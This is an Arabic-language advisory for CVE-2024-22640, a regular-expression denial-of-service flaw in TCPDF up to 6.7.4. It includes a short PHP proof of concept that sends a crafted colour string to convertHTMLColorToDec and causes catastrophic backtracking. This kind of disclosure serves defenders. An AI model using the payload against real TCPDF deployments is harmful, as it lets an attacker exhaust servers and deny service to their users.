CVE-2024-22640

نوع الثغرة الأمنية

رفض الخدمة بواسطة التعبير العادي (ReDoS)

المنتج والإصدار المتأثر

TCPDF <= 6.7.4

متجه الهجوم

تحليل TCPDF للون HTML يحتوي على حمولة معدّة.

الوصف

إصدار TCPDF <= 6.7.4 معرض لثغرة رفض الخدمة بواسطة التعبير العادي (ReDoS) إذا تم تحليل صفحة HTML غير موثوقة تحتوي على لون معد.

إثبات المفهوم

<?php

require_once('../tcpdf.php');

$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>

ملاحظة: التحقق باستخدام preg_last_error() بعد سطر الشيفرة المعرض للخطر، سينتهي التعبير العادي بـ PREG_BACKTRACK_LIMIT_ERROR.